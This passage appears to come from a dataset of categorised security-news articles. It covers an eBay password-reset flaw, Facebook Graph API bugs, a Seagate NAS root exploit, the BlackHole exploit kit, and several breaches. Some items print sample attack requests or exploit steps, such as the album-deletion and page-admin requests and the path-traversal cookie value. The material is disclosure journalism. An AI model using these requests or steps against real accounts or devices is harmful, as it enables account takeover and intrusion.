HERE THE VULNERABILITY RESIDES
Yasser noticed that instead of using the secret code, the new password HTTP request sends the same respective ""reqinput"" value that has been generated in the first request, when the user clicked on reset password and which is known to the attacker, as shown:
As Proof-of-Concept, the researcher targeted one of our team members' temporary account with email address info@thehackernews.com. First he made a password reset request at eBay for the targeted email ID and saved the generated 'reqinput' value from the inspect element.

Then he directly crafted a new HTTP request to the eBay server at password reset form action with the known ""reqinput"" value, new password, confirm password and password strength parameters.

BANG!! He successfully able to reset our eBay account password without our team member's interaction within a while.

LARGE SCALE AUTOMATED ATTACK
A sophisticated hacker could had launched an automated mass password reset request attack for all those email accounts which were leaked in previously reported massive eBay data breach.

The company has already patched the vulnerability after Yasser responsibly disclosed the flaw to the eBay security team. But, this 4 months delay in delivering the patch could have compromised millions of eBay users' accounts in a targeted attack, even if you had changed your password after the data breach.

",Data_Breaches
Pangu Hackers have Jailbroken iOS 12 on Apple's New iPhone XS,https://thehackernews.com/2018/09/ios12-iphone-jailbreak-exploit.html,"Bad news for Apple.

The Chinese hacking team Pangu is back and has once again surprised everyone with a jailbreak for iOS 12 running on the brand-new iPhone XS.

Well, that was really fast.

Pangu jailbreak team has been quiet for a while, since it last released the untethered jailbreak tool for iOS 9 back in October 2015.

Jailbreaking is a process of removing limitations on Apple's iOS devices so users can install third-party software not certified by Apple.

Today, Android and iOS security researcher Min(Spark) Zheng shared a Tweet with two screenshots showing a working jailbreak on Apple's newly released iPhone XS with A12 Bionic chip achieved by one of the Pangu researchers.

The Tweet also revealed that the iOS 12 jailbreak works by bypassing a functional PAC (Pointer authentication codes) mitigation implemented in the new Apple's A12 Bionic chip.
Moreover, since the hardware of iPhone XS is very much identical to iPhone XS Max, the new iOS 12 jailbreak exploit should also work on both Apple's latest flagship iPhones.

Since the Pangu jailbreak team has not made any official announcement regarding the new jailbreak, it is not clear whether or not the team will release the iOS 12 jailbreak to the public.

Also, before jailbreaking your Apple devices, just keep in mind that this will violate your End User License Agreement with Apple and also exposes your iOS device to security bugs, putting your personal data at risk, for which you won't be getting Apple's help if anything goes wrong.

Jailbreaking your iPhones also opens up your device to iOS malware such as KeyRaider and YiSpector that specifically targeted iOS users with jailbroken devices.

So, how are you feeling right now about the new jailbreaking? Let us know in the comments below.
",Vulnerability
Apache Tomcat Patches Important Security Vulnerabilities,https://thehackernews.com/2018/07/apache-tomcat-server.html,"The Apache Software Foundation (ASF) has released security updates to address several vulnerabilities in its Tomcat application server, one of which could allow a remote attacker to obtain sensitive information.

Apache Tomcat is an open source web server and servlet system, which uses several Java EE specifications like Java Servlet, JavaServer Pages (JSP), Expression Language, and WebSocket, and provides a ""pure Java"" HTTP web server environment for Java concept to run in.

Unlike Apache Struts2 vulnerabilities exploited to breach the systems of America credit reporting agency Equifax late last year, new Apache Tomcat vulnerabilities are less likely to be exploited in the wild.

Apache Tomcat — Information Disclosure Vulnerability

The more critical flaw (CVE-2018-8037) of all in Apache Tomcat is an information disclosure vulnerability caused due to a bug in the tracking of connection closures which can lead to reuse of user sessions in a new connection.

The vulnerability, marked as important, was reported to the Apache Tomcat Security Team by Dmitry Treskunov on 16 June 2018 and made public on 22 July 2018.

The flaw affects Tomcat versions 9.0.0.M9 to 9.0.9 and 8.5.5 to 8.5.31, and it has been fixed in Tomcat 9.0.10 and 8.5.32.

Apache Tomcat — Denial of Service (DoS) Vulnerability

Another important vulnerability, tracked as CVE-2018-1336, in Apache Tomcat resides in the UTF-8 decoder that can lead to a denial-of-service (DoS) condition.
""An improper handling of overflow in the UTF-8 decoder with supplementary characters can lead to an infinite loop in the decoder causing a Denial of Service,"" the Apache Software Foundation says in its advisory.

Apache Tomcat Server Software Updates (Patches)

The vulnerability affects Tomcat versions 7.0.x, 8.0.x, 8.5.x and 9.0.x, and has been addressed in Tomcat versions 9.0.7, 8.5.32, 8.0.52 and 7.0.90.

The Apache Software Foundation also included a security patch in the latest Tomcat versions to address a low severity security constraints bypass bug (CVE-2018-8034), which occurs due to missing of the hostname verification when using TLS with the WebSocket client.

Administrators are strongly recommended to apply the software updates as soon as possible and are advised to allow only trusted users to have network access as well as monitor affected systems.

The Apache Software Foundation says it has not detected any incident of the exploitation of one of these Apache Tomcat vulnerabilities in the wild.

A remote attacker could exploit one of these vulnerabilities to obtain sensitive information.
",Vulnerability
French Android Malware writer Arrested for stealing $653700,https://thehackernews.com/2012/10/french-android-malware-writer-arrested.html,"A French hacker has been arrested for spreading a virus through fake smartphone applications. Prosecutors say he stole tiny sums from 17,000 people, amassing about 500,000 euros (£405,000) since 2011.

Working from the basement of his parents' home in Amiens, France, he created malicious software that looked like normal smartphone apps, but these programs stole money through hidden transactions. He also used programs that sent him the usernames and passwords for gambling and gaming websites.

The man admitted his crimes to police after he was arrested in the northern French city of Amiens. He told officials that he was motivated by a strong interest in computers and the desire to be a software developer.

",Malware
Seagate NAS Zero-Day Vulnerability allows Unauthorized Root Access Remotely,https://thehackernews.com/2015/03/seagate-nas-device-vulnerability.html,"Seagate, a popular vendor of hardware solutions, has a critical zero-day vulnerability in its Network Attached Storage (NAS) device software that possibly left thousands of its users vulnerable to hackers.

Seagate's Business Storage 2-Bay NAS product, found in home and business networks, is vulnerable to a zero-day Remote Code Execution vulnerability, currently affecting more than 2,500 publicly exposed devices on the Internet.

Seagate is one of the world's largest vendor of hardware solutions, with products available worldwide. After Western Digital, Seagate ranked second and holds 41% of the market worldwide in supplying storage hardware products.

A security researcher, named OJ Reeves, discovered the zero-day remote code execution vulnerability on 7th October last year and, reported to the company totally in the white hat style. But even after 130 days of responsible disclosure, the zero-day bug remains unpatched till now.

In order to exploit the vulnerability, an attacker needs to be on the same network as the vulnerable device which gives the attacker root access of the vulnerable device, without the need of a valid login. Reeves also released a python exploit along with its Metasploit module version which is available on Github.

ORIGIN OF ZERO-DAY VULNERABILITY
Seagate's Business Storage 2-Bay NAS products come with a web-enabled management application that lets administrators to perform device configuration functions such as adding users, setting up access control, managing files, and more.

This web application is built with three core technologies, including PHP version 5.2.13, CodeIgniter version 2.1.0 and Lighttpd version 1.4.28, which are all out-dated versions.
PHP version 5.2.13 is vulnerable (CVE-2006-7243) that allows user-controlled data to prematurely terminate file paths, allowing for full control over the file extension.
CodeIgniter version prior to 2.2.0 is vulnerable (CVE-2014-8686) that allows an attacker to extract the encryption key and decrypt the content of the cookie. Once decrypted, attacker can modify the content of the cookie and re-encrypt it prior to submitting it back to the server.
The custom web application authenticate the login user based upon browser cookies, having three parameters:
username: logged in user name
is_admin: user is admin or not i.e. Yes or No
language: chosen language (eg. en_US)
Researcher explained that there is no further validation of user credentials at server-end, once username cookie is established, which could be impersonated easily by an attacker.

Another parameter 'is_admin' can be manipulated to 'Yes' value that allows the attacker to self-elevate to administrative privileges in the web application itself.
""The fact that a static session encryption key is in use across all instances of the NAS means that once a user has a valid session cookie on one instance, they can apply that same cookie directly to another instance and acquire the same level of access. In short, once a user is logged in as admin on one instance, they're effectively admin on every instance,"" Reeves explained in an advisory.
The language parameter can be manipulated for exploitation of a local file inclusion vulnerability. At last, the web application is being executed by an instance of Lighttpd which is running under the context of the root user.

When an attacker makes a request with the manipulated cookie, it results in arbitrary code execution as root user. Therefore, successful exploitation of this vulnerability could result in taking complete control of the vulnerable device as a root user.

VULNERABLE PRODUCTS
Two different network storage devices made by Seagate were tested and found to be vulnerable. The latest Seagate NAS firmware version listed below are affected by this zero-day vulnerability:
Business Storage 2-Bay NAS version 2014.00319
Business Storage 2-Bay NAS version 2013.60311
However, Reeves believes that all versions of Business Storage 2-Bay NAS product prior to 2014.00319 are affected by the same vulnerability.

METASPLOIT MODULE AVAILABLE
A Metasploit module and a Python script to exploit the vulnerability automatically is available on the Github. Each of these scripts are able to perform the following tasks:
Connects to the vulnerable NAS device and extracts a ci_session cookie.
Decrypts the cookie using the static encryption key and extracts the PHP hash.
Modifies the serialized PHP hash so that the username is set to 'admin' and the is_admin field is set to 'yes'.
Encrypts this updated PHP hash ready for further use as a ci_session cookie, which allows future requests to operate on the NAS as if they were an administrator.
Performs a request to extract the host configuration, which includes the device's description.
Modifies the host configuration so that the device description contains a small stager payload.
Performs a request to update the host configuration with the new data so that the stager payload is written to /etc/devicedesc.
Modifies the PHP hash again so that the language parameter contains the value ../../../../etc/devicedesc\x00.
Encrypts this new PHP hash ready for future use as a ci_session cookie.
Performs a request to the NAS using the cookie created in the previous step, which invokes the stager that was written to disk. This request posts a larger payload which is written to disk under the web server root.
Performs another request which then resets the host configuration back to what it was prior to exploitation.
According to Reeves, there was no updated firmware version available for download that contains patches for the issues, even after contacting the company multiple times.

Users of Seagate's Business Storage NAS products and and other products using vulnerable firmware are recommended to ensure that their devices are not accessible via the public Internet and that the devices be located behind a firewall configured to allow only a trusted set of IP addresses to connect to the web interface.

",Vulnerability
Adobe Patches Two Critical RCE Vulnerabilities in Flash Player,https://thehackernews.com/2017/09/adobe-security-patch.html,"Adobe may kill Flash Player by the end of 2020, but until then, the company would not stop providing security updates to the buggy software.

As part of its monthly security updates, Adobe has released patches for eight security vulnerabilities in its three products, including two vulnerabilities in Flash Player, four in ColdFusion, and two in RoboHelp—five of these are rated as critical.

Both of the Adobe Flash Player vulnerabilities can be exploited for remote code execution on the affected device, and both have been classified as critical.

None of the patched vulnerabilities has reportedly been exploited in the wild, according to the company.

The critical Flash Player flaws are tracked as CVE-2017-11281 and CVE-2017-11282 and were discovered by Mateusz Jurczyk and Natalie Silvanovich of Google Project Zero, respectively.

Both the security vulnerabilities are memory corruption issues that could lead to remote code execution and affect all major operating system, including Windows, Macintosh, Linux and Chrome OS.

The vulnerabilities have been updated in the latest Flash Player version 27.0.0.130.

The remaining three critical and one important flaw reside in Cold Fusion, including a critical XML parsing flaw (CVE-2017-11286), an important XSS (cross-site scripting) bug (CVE-2017-11285) that could lead to information disclosure and mitigation for unsafe Java deserialization, resulting in remote code execution (CVE-2017-11283, CVE-2017-11284).

These vulnerabilities affect all platforms and have been discovered and reported by Nick Bloor of NCC Group, Daniel Sayk of Telekom Security and Daniel Lawson of Depth Security.

The issues have been patched in the latest Adobe ColdFusion version 2016 Release Update 5 and version 11 Update 13.

The rest of the two flaws—one important (CVE-2017-3104) and one rated moderate (CVE-2017-3105)—affects Windows version of Adobe's help authoring tool RoboHelp.

The important bug is an input validation flaw that could allow for a DOM-based cross-site scripting (XSS) attack, while the moderate-severity invalidated URL redirect vulnerability could be used in phishing campaigns to deliver malware.

The vulnerabilities have been patched in the latest Adobe RoboHelp version RH2017.0.2 and RH12.0.4.460 (Hotfix).

Although no exploits for these patched vulnerabilities have been spotted in the wild by the company, users are strongly advised to patch their software as soon as possible to protect themselves from any remote attack.

",Vulnerability
OnePlus Suffers New Data Breach Impacting Its Online Store Customers,https://thehackernews.com/2019/11/oneplus-store-data-breach.html,"Chinese smartphone maker OnePlus has suffered a new data breach exposing personal and order information of an undisclosed number of its customers, likely, as a result of a vulnerability in its online store website.

The breach came to light after OnePlus started informing affected customers via email and published a brief FAQ page to disclose information about the security incident.

According to OnePlus, the company discovered the breach just last week after an unauthorized party accessed order information of its customers, including their names, contact numbers, emails, and shipping addresses.

""Last week while monitoring our systems, our security team discovered that some of our users' order information was accessed by an unauthorized party,"" the company said.

OnePlus also assured that not all customers were affected and that the attackers were not able to access any payment information, passwords, and associated accounts.

""Impacted users may receive spam and phishing emails as a result of this incident.""


Though the company did not provide any detail of the vulnerability that attackers exploited to compromise its store, it did inspect the server thoroughly to ensure there aren't any other similar vulnerabilities.

""We took immediate steps to stop the intruder and reinforce security, making sure there are no similar vulnerabilities,"" OnePlus said. ""Right now, we are working with the relevant authorities to further investigate this incident.""

As a result of this breach, the company has also finally decided to launch an official bug bounty program by the end of December 2019, allowing researchers and hackers to get paid for responsibly reporting severe vulnerabilities before hackers could do any further damage.

""We are continually upgrading our security program - we are partnering with a world-renowned security platform next month, and will launch an official bug bounty program by the end of December,"" the company said.

Although the breach does not involve your OnePlus account password, you are still recommended to change the password for your account.

Affected OnePlus customers should also be suspicious of phishing emails, which are usually the next step of cybercriminals in an attempt to trick users into giving away their passwords and credit card information.

This isn't the first time OnePlus has reported a data breach.

As The Hacker News reported back in January 2018, the company's website was hacked by an unknown attacker to steal credit card information belonging to up to 40,000 OnePlus customers.
",Data_Breaches
DKFBootKit - First Android BootKit Malware,https://thehackernews.com/2012/03/dkfbootkit-first-android-bootkit.html,"DKFBootKit - First Android BootKit Malware

NQ Mobile Security Research Center has recently uncovered a new malware DKFBootKit. This malware is identified when monitoring and analyzing the evolution of earlier DroidKungFu variants. What sets DKFBootKit apart from malware like DroidDream, is that DKFBootKit replaces certain boot processes and can begin running even before the system is completely booted up.

DKFBootKit repackages legitimate apps by enclosing its own malicious payloads in them. However, the victim apps it chooses to infect are utility apps which require the root privilege to work properly. NQ says the malicious code has already infected 1,657 Android devices in the past two weeks and has appeared on at least 50 different mobile apps.

These apps seem to have legitimate reasons to request root privilege for their own functionality. It is also reasonable to believe that users will likely grant the root privilege to these apps. DKFBootKit makes use of the granted root privilege for other malicious purposes, namely comprising the system integrity.

In order to avoid being infected by this beast, NQ recommends three commonsense steps:
First, don't download any apps from sketchy app stores.
Second, don't accept app permissions from unknown sources and always be sure to read the permissions an app is requesting.
Third, download a security app that can scan your apps for you to search for malicious code.
NQ Mobile Security for Android is available for download.

",Malware
BlackHole Exploit Kit 2.0 released with more latest Exploits,https://thehackernews.com/2012/09/blackhole-exploit-kit-20-released-with.html,"According to release announcement on Pastebin by unknown developers in a Russian-language BlackHole Exploit Kit 2.0 released with more latest Exploits. BlackHole is one of the most dominant exploit toolkits currently available in the underground market. It enables attackers to exploit security holes in order to install malicious software on victim's systems.

The new variant doesn't rely on plugindetect to determine the Java version that's installed, thus speeding up the malware download process. Old exploits that were causing browsers to crash and ""scary visual effects"" have been removed.

The exploit kit is offered both as a ""licensed"" software product for the intrepid malware server operator and as malware-as-a-service by the author off his own server.

Some interesting claims by developer about new version:
prevent direct download of executable payloads
only load exploit contents when client is considered vulnerable
drop use of PluginDetect library (performance justification)
remove some old exploits (leaving Java atomic & byte, PDF LibTIFF, MDAC)
change from predictable url structure (filenames and querystring parameter names)
update machine stats to include Windows 8 and mobile devices
better breakdown of plug-in version information
improved checking of referrer
block TOR traffic

Finally, a number of ""private tricks"" have been implemented, which the author prefers to keep a secret because he fears that competitors and antivirus companies are ""sneaking around."" The developer offers a one-day rental of capacity on his server for as little as $50, up to a month-long lease for $500 (with larger fees for traffic over 70,000 web hits per day).

For those who want to run their own BlackHole server, licenses start at $700 for a 3-month license (which includes software support) and range up to $1,500 for a full year, plus $200 for the multidomain version. For those who want to cover their tracks, a site clean-up package comes priced at $300.

",Malware
Warning! How Hackers Could Hijack Your Facebook Fan Page With This Trick,https://thehackernews.com/2015/08/hacking-facebook-pages.html,"Facebook bounty hunter Laxman Muthiyah from India has recently discovered his third bug of this year in the widely popular social network website that just made a new record by touching 1 Billion users in a single day.

At the beginning of the year, Laxman discovered a serious flaw in Facebook graphs that allowed him to view or probably delete others photo album on Facebook, even without having authentication.

Just after a month, Laxman uncovered another critical vulnerability in the social network platform that resided in the Facebook Photo Sync feature, that automatically uploads photos from your mobile device to a private Facebook album, which isn't visible to any of your Facebook friends or other Facebook users.

However, the flaw discovered by Laxman could allowed any third-party app to access and steal your personal photographs from the hidden Facebook Photo Sync album.

Hacking Any Facebook Page

Now, the latest bug in Laxman's list could allow attackers to take over control of your Facebook pages.

This time Laxman has found an issue with the ""Facebook business pages"" that are not specific to a single user account, but instead represent a business and are usually managed by a number of users.

However, Laxman could allow third-party apps to take complete control of a Facebook business page with limited permissions, possibly making the victim permanently lose administrator access to the page.

Here's How:

Third party Facebook applications are capable of performing all sets of operations, including post status on your behalf, publishing photos, and other tasks, but Facebook doesn't allow them to add or modify page admin roles.

Facebook allows a page administrator to assign different roles to different people in the organisation through manage_pages, a special access permission requested by third-party apps.

However, according to Laxman, an attacker can use a simple string of requests in an attempt to make himself as admin of the particular Facebook page.

Sample Request

The string something look like this:
POST /PGID/userpermissions HTTP/1.1
Host: graph.facebook.com
Content-Length: 245
role=MANAGER&user=X&business=B&access_token=AAAA…
Here, page PGID belongs to business B, where one can manage_pages request to make user 'X' as a MANAGER (assign as an administrator) of the page.

This means these small changes in the request parameters could allow an attacker to gain complete control over your Facebook page.

Video Demonstration

Laxman has also provided a video demonstration that shows the attack in work. You can watch the video given below that will walk you through the entire procedure:

Hacking Facebook Pages
Another Serious Vulnerability in FacebookVulnerability : Hacking Facebook PagesStatus : FixedReward $2500 USDProof Of Concept : https://www.7xter.com/2015/08/hacking-facebook-pages.html
Posted by 7xter on Wednesday, August 26, 2015
Laxman reported the flaw to the Facebook security team and received the reward of $2500 USD as a part of Facebook's bug bounty program.

Though the social network has now fixed the loophole, you must always be aware of the permissions you grant to any third-party applications.

",Vulnerability
Your MacBook Camera could Spy on You without lighting up the warning light,https://thehackernews.com/2013/12/your-macbook-camera-could-spy-on-you.html,"If you own Apple's MacBook, you should cover up it's webcam, because there's a possibility someone could be watching you.

Like most webcams, the MacBook also has a tiny green light lets you know that the webcam is active, but it's possible for malware to disable this important privacy feature on older Mac computers (models released before 2008).
Matthew Brocker and Stephen Checkoway, students from Johns Hopkins University created a proof-of-concept app called ""iSeeYou"" that confirmed that MacBook iSight webcams can spy on their users without the warning light being activated.

A young man recently pleaded guilty in court to extortion after he performed a remote hack on Miss Teen USA's webcam to secretly collect nude photos. It was revealed through court papers that the FBI has the ability to do the same thing with a variety of current laptops including Apple products.

To make it possible, they created a modified version of the iSight firmware and then re-programmed the camera with it. In order to disable the LED, they activated STANDBY mode, but also configure the image sensor to ignore it successfully through their modified firmware.
The software used to remotely control iSight was Remote Administration Tool (RAT), which is used by IT departments and educational institutions to administer large numbers of computers.

This type of hack doesn't require the hacker to have physical possession of the laptop nor does it require administrator privileges.

The research focused on the MacBook and iMac computers released before 2008, but hackers could use the same techniques to compromise newer devices too.

Are you sure that your laptop's camera is not turned on? .. Now put a small piece of tape across the camera.

",Vulnerability
Facebook Vulnerability Allows Hacker to Delete Any Photo Album,https://thehackernews.com/2015/02/hacking-facebook-photo-album.html,"A Serious vulnerability in Facebook has recently been reported that could allow anyone to delete your complete Facebook photo album without having authentication.

Security Researcher Laxman Muthiyah told The Hacker News that the vulnerability actually resides in Facebook Graph API mechanism, which allows ""a hacker to delete any photo album on Facebook. Any photo album owned by an user or a page or a group could be deleted.""

DELETING FACEBOOK PHOTO ALBUMS
According to Facebook developers documentation, its not possible to delete albums using the Graph API, but Indian security researcher has found a way to delete not just his own, but also others Facebook photo albums within few seconds.
""I decided to try it with Facebook for mobile access token because we can see delete option for all photo albums in Facebook mobile application isn't it? Yeah and also it uses the same Graph API,"" he said.
In general, Facebook Graph API requires an access token to read or write users data, which gives limited access to an app only. However, Laxman discovered that his own ""access token"" generated for mobile version of Facebook could be exploited to remove any photo albums posted by any Facebook User.

In order to delete a photo album from victim's Facebook account, the attacker only needs to send a HTTP-based Graph API request with victim's photo album ID and attacker's own access token generated for 'Facebook for android' app.

SAMPLE REQUEST
Request :-
DELETE /<Victim's_photo_album_id> HTTP/1.1
Host : graph.facebook.com
Content-Length: 245
access_token=<Your(Attacker)_Facebook_for_Android_Access_Token>
VIDEO DEMONSTRATION

Facebook Bug Bounty program rewarded him with $12,500 USD for helping the Facebook Security team to patch this critical loophole.

",Vulnerability
"New Pushdo Malware Hacks 11,000 Computers in Just 24 Hours",https://thehackernews.com/2014/07/Pushdo-Malware-Computer-hacking-Trojan.html,"One of the oldest active malware families, Pushdo, is again making its way onto the Internet and has recently infected more than 11,000 computers in just 24 hours.

Pushdo, a multipurpose Trojan, is primarily known for delivering financial malware such as ZeuS and SpyEye onto infected computers or to deliver spam campaigns through a commonly associated components called Cutwail that are frequently installed on compromised PCs. Pushdo was first seen over 7 years ago and was a very prolific virus in 2007.

Now, a new variant of the malware is being updated to leverage a new domain-generation algorithm (DGA) as a fallback mechanism to its normal command-and-control (C&C) communication methods.

DGAs are used to dynamically generating a list of domain names based on an algorithm and only making one live at a time, blocking on 'seen' Command & Control domain names becomes nearly impossible.

With the help of a DGA, cyber criminals could have a series of advantages like overcoming domain blacklisting, resisting domain takedowns by simply registering another domain generated by the same DGA, avoiding dynamic analysis and extraction of C&C domain names.

According to researchers at Bitdefender, about 6,000 compromised systems in the 1.5 million-strong botnet now host this new PushDo variant. The most affected countries so far by the new Pushdo variant are in India, Vietnam and Turkey, but systems in the United Kingdom, France and the United States have also been targeted, according to the security software firm Bitdefender.

MOST AFFECTED COUNTRIES
Vietnam - 1319
India - 1297
Indonesia - 610
United States - 559
Turkey - 507
Iran, Islamic Republic of - 402
Thailand - 345
Argentina - 315
Italy - 302
Mexico - 274
The Romanian firm reckons 77 systems have been compromised in the UK just in the past 24 hours, with more than 11,000 infections reported worldwide over the same period of time.
""We managed to successfully intercept Pushdo traffic and gain some idea of the size of this botnet,"" states Catalin Cosoi, chief security strategist at Bitdefender.
""The sheer scale of this criminal operation, unsophisticated as it may be, is rather troubling and there are indications that the botnet is still in a growth phase. We shall be continuing our investigation as a key priority and further updates shall be made available in the coming days.""
Despite four takedowns in past years of PushDo command-and-control (C&C) servers, the botnet endures, evolving and flourishing by continuously adding evasion techniques to mask its C&C communications.

Apart from DGA, attackers have also resurfaced the public and private encryption keys used to protect the communication between the bots and the Command and Control Servers, but the protocol used for the communication remained the same.

They have also added an ""encrypted overlay"" to the latest Pushdo binaries, which acts as a ""checkup,"" making sure the malware sample doesn't run properly unless certain conditions specified in the overlay are not met, said the blog post.

This new approach of cyber criminals would make life harder for the FBI and law enforcement agencies who are trying every effort to take down Botnets across the world.

",Malware
TrueFire Guitar Tutoring Website Suffers Magecart-style Credit Card Breach,https://thehackernews.com/2020/03/truefire-guitar-tutoring-data-breach.html,"Online guitar tutoring website TrueFire has apparently suffered a 'Magecart' style data breach incident that may have potentially led to the exposure of its customers' personal information and payment card information.

TrueFire is one of the popular guitar tutoring websites with over 1 million users, where wanna-be-guitarists pay online to access a massive library of over 900 courses and 40,000 video lessons.

Though TrueFire hasn't yet publicly disclosed or acknowledged the breach, The Hacker News learned about the incident after a few affected customers posted online details of a notification they received from the company last week.

The Hacker News also found a copy of the same 'Notice Of Data Breach' uploaded recently to the website of Montana Department of Justice, specifically on a section where the government shares information on data breaches that also affect Montana residents.

Confirming the breach, the notification reveals that an attacker gained unauthorized access to the company's web server somewhere around mid last year and stole payment information of customers that were entered into its website for over five months, between August 3, 2019, and January 14, 2020.

""While we do not store credit card information on our website, it appears that the unauthorized person gained access to the site and could have accessed the data of consumers who made payment card purchases while that data was being entered,"" the breach notification says.

""We cannot state with certainty that your data was specifically accessed; however, you should know that the information that was potentially subject to unauthorized access includes your name, address, payment card account number, card expiration date, and security code,"" the breach notification says.


While the company didn't explain how the attackers managed to compromise its website or if they had injected a digital credit card skimmer on it, the scenario looks very similar to a Magecart style attack.

For those unaware, Magecart hackers typically compromise websites and secretly insert malicious JavaScript code into their checkout pages that silently captures payment information of customers making purchasing on the sites and then sends it to the attacker's remote server.

The company discovered this security incident on January 10 and claimed to have now patched the web vulnerability that allowed attackers to compromise its website in the first place.

Guitarists who made any online payment at the TrueFire website between last August and this January are advised to block the payment cards used on it and request a new one from their respective financial institution.

Other customers are also advised to be vigilant and keep a close eye on their bank and payment card statements for any unusual activity.

As a precaution, all users are also encouraged to change passwords for their TrueFire account and for any other online account where they use the same credentials.
",Data_Breaches
12-Year-Old SSH Bug Exposes More than 2 Million IoT Devices,https://thehackernews.com/2016/10/sshowdown-iot-security.html,"Are your internet-connected devices spying on you? Perhaps.

We already know that the Internet of Thing (IoT) devices are so badly insecure that hackers are adding them to their botnet network for launching Distributed Denial of Service (DDoS) attacks against target services.

But, these connected devices are not just limited to conduct DDoS attacks; they have far more potential to harm you.

New research [PDF] published by the content delivery network provider Akamai Technologies shows how unknown threat actors are using a 12-year-old vulnerability in OpenSSH to secretly gain control of millions of connected devices.

The hackers then turn, what researchers call, these ""Internet of Unpatchable Things"" into proxies for malicious traffic to attack internet-based targets and 'internet-facing' services, along with the internal networks that host them.

Unlike recent attacks via Mirai botnet, the new targeted attack, dubbed SSHowDowN Proxy, specifically makes use of IoT devices such as:
Internet-connected Network Attached Storage (NAS) devices.
CCTV, NVR, DVR devices (video surveillance).
Satellite antenna equipment.
Networking devices like routers, hotspots, WiMax, cable and ADSL modems.
Other devices could be susceptible as well.
More importantly, the SSHowDowN Proxy attack exploits over a decade old default configuration flaw (CVE-2004-1653) in OpenSSH that was initially discovered in 2004 and patched in early 2005. The flaw enables TCP forwarding and port bounces when a proxy is in use.

However, after analyzing IP addresses from its Cloud Security Intelligence platform, Akamai estimates that over 2 Million IoT and networking devices have been compromised by SSHowDowN type attacks.

Due to lax credential security, hackers can compromise IoT devices and then use them to mount attacks ""against a multitude of Internet targets and Internet-facing services, like HTTP, SMTP and network scanning,"" and to mount attacks against internal networks that host these connected devices.

Once hackers access the web administration console of vulnerable devices, it is possible for them to compromise the device's data and, in some cases, fully take over the affected machine.

While the flaw itself is not so critical, the company says the continual failure of vendors to secure IoT devices as well as implementing default and hard-coded credentials has made the door wide open for hackers to exploit them.
""We are entering a very interesting time when it comes to DDoS and other web attacks; 'The Internet of Unpatchable Things' so to speak,"" said Eric Kobrin, senior director of Akamai's Threat Research team.
""New devices are being shipped from the factory not only with this vulnerability exposed but also without any effective way to fix it. We've been hearing for years that it was theoretically possible for IoT devices to attack. That, unfortunately, has now become the reality.""
According to the company, at least 11 of Akamai's customers in industries such as financial services, retail, hospitality, and gaming have been targets of SSHowDowN Proxy attack.

The company is ""currently working with the most prevalent device vendors on a proposed plan of mitigation.""


How to Mitigate Such Attacks?

So, if you own a connected coffee machine, thermostat or any IoT device, you can protect yourself by changing the factory default credentials of your device as soon as you activate it, as well as disabling SSH services on the device if it is not required.

More technical users can establish inbound firewall rules that prevent SSH access to and from external forces.

Meanwhile, vendors of internet-connected devices are recommended to:
Avoid shipping such products with undocumented accounts.
Force their customers to change the factory default credentials after device installation.
Restrict TCP forwarding.
Allow users to update the SSH configuration to mitigate such flaws.
Since IoT devices number has now reached in the tens of billions, it's time to protect these devices before hackers cause a disastrous situation.

Non-profit organizations like MITRE has come forward to help protect IoT devices by challenging researchers to come up with new, non-traditional approaches for detecting rogue IoT devices on a network. The company is also offering up to $50,000 prize money.

",Cyber_Attack
Over 43 Million Weebly Accounts Hacked; Foursquare Also Hit By Data Breach,https://thehackernews.com/2016/10/weebly-foursquare-data-breach.html,"2016 is the year of data breaches that has made almost every major companies victims to the cyber attacks, resulting in compromise of over billion of online users accounts.

Weebly and Foursquare are the latest victims of the massive data breach, joining the list of ""Mega-Breaches"" revealed in recent months, including LinkedIn, MySpace, VK.com, Tumblr, Dropbox, and the biggest one -- Yahoo.

Details for over 43 Million users have been stolen from the San Francisco-based website building service Weebly, according to breach notification site LeakedSource, who had already indexed a copy of the stolen data that it received from an anonymous source.

In addition, LeakedSource posted details of the cyber attack in its blog post on Thursday explaining what happened. The attack believed to have been carried out in February 2016.
""Unlike nearly every other hack, the Co-founder and CTO of Weebly Chris Fanini fortunately did not have his head buried deeply in the sand and actually responded to our communication requests,"" LeakedSource says.
""We have been working with them to ensure the security of their users meaning password resets as well as notification emails are now being sent out.""
The stolen data contains personal data of 43,430,316 Weebly customers, which includes usernames, email addresses, passwords, and IP addresses.

Stolen passwords were stored using the strong hashing function ""BCrypt,"" making it difficult for hackers to obtain user's actual password.

These password hashes also believed to have used a Salt – a random string added to the hashing process to further strengthen passwords in order to make it more difficult for hackers to crack them.

Weebly confirmed the data breach, saying the company has started notifying affected customers and already initiated password reset process and new password requirements.
""Weebly recently became aware that an unauthorized party obtained email addresses and/or usernames, IP addresses and encrypted (bcrypt hashed) passwords for a large number of customers,"" the company said.
""At this point, we do not have evidence of any customer website being improperly accessed. We do not store any full credit card numbers on Weebly servers, and at this time we're not aware that any credit card information that can be used for fraudulent charges was part of this incident.""
LeakedSource has also published details of a data breach affecting more than 22.5 million customers of location-based check-in service Foursquare, though the company denied the claims.

The Takeaway:

Even if stolen passwords are much difficult to crack, it's still a good idea to change the password for your Weebly account, just to be safe.

Also change passwords for other online accounts immediately, especially if you use the same password for multiple websites.

You can also use a good password manager to create and remember complex passwords for different sites. We have listed some best password managers that would help you understand the importance of password manager and choose one according to your requirement.

",Data_Breaches
Blizzard's Mobile Server Database Exposed by Warv0x (AKA Kaihoe),https://thehackernews.com/2011/06/blizzards-mobile-server-database.html,"Blizzard's Mobile Server Database Exposed by Warv0x (AKA Kaihoe)
Warv0x (AKA Kaihoe) Hacker today expose the Database structure of one of the biggest Company ""Blizzard Mobile"". The exposed data can be seen on a pastebin link.

DATABASES EXPOSED LIST :
[*] admin
[*] egw
[*] glpi
[*] information_schema
[*] lost+found
[*] mboost_forum
[*] multivea
[*] mysql
[*] openads
[*] phpcollab
[*] phpmyadmin
[*] pixcatcher

Blizzard's Mobile is Ringtone,Logo,Game, Java,Video,Theme,Mobile,Wallpaper,Screensaver etc. etc. Download Site with Alexa World Rank 3800.

",Vulnerability
Bharatiya Janata Party website defaced by Anonymous Hackers,https://thehackernews.com/2012/09/bharatiya-janata-party-website-defaced.html,"Hackers from Indian Anonymous Group hacked Bharatiya Janata Party's website, BJP.org, last night, and defaced it.

They post a set of messages with pictures, reflecting the group's condemnation of recent events including the government's approval of 51% FDI in multi-brand retail, diesel price hike, corruption, the cartoon controversy, and the Kudankulam Power Project, among others.

Hackers also asked people to stand up and participate in the #OccupyIndiaground protest, which according to the message starts 23rd September 2012 (this Sunday) 3pm at India Gate, Delhi, Freedom Park, Bangalore, Marine Beach, Chennai, Park Street Crossing, Kolkata, MG Road, Pune and Subhash Park, Kochi.

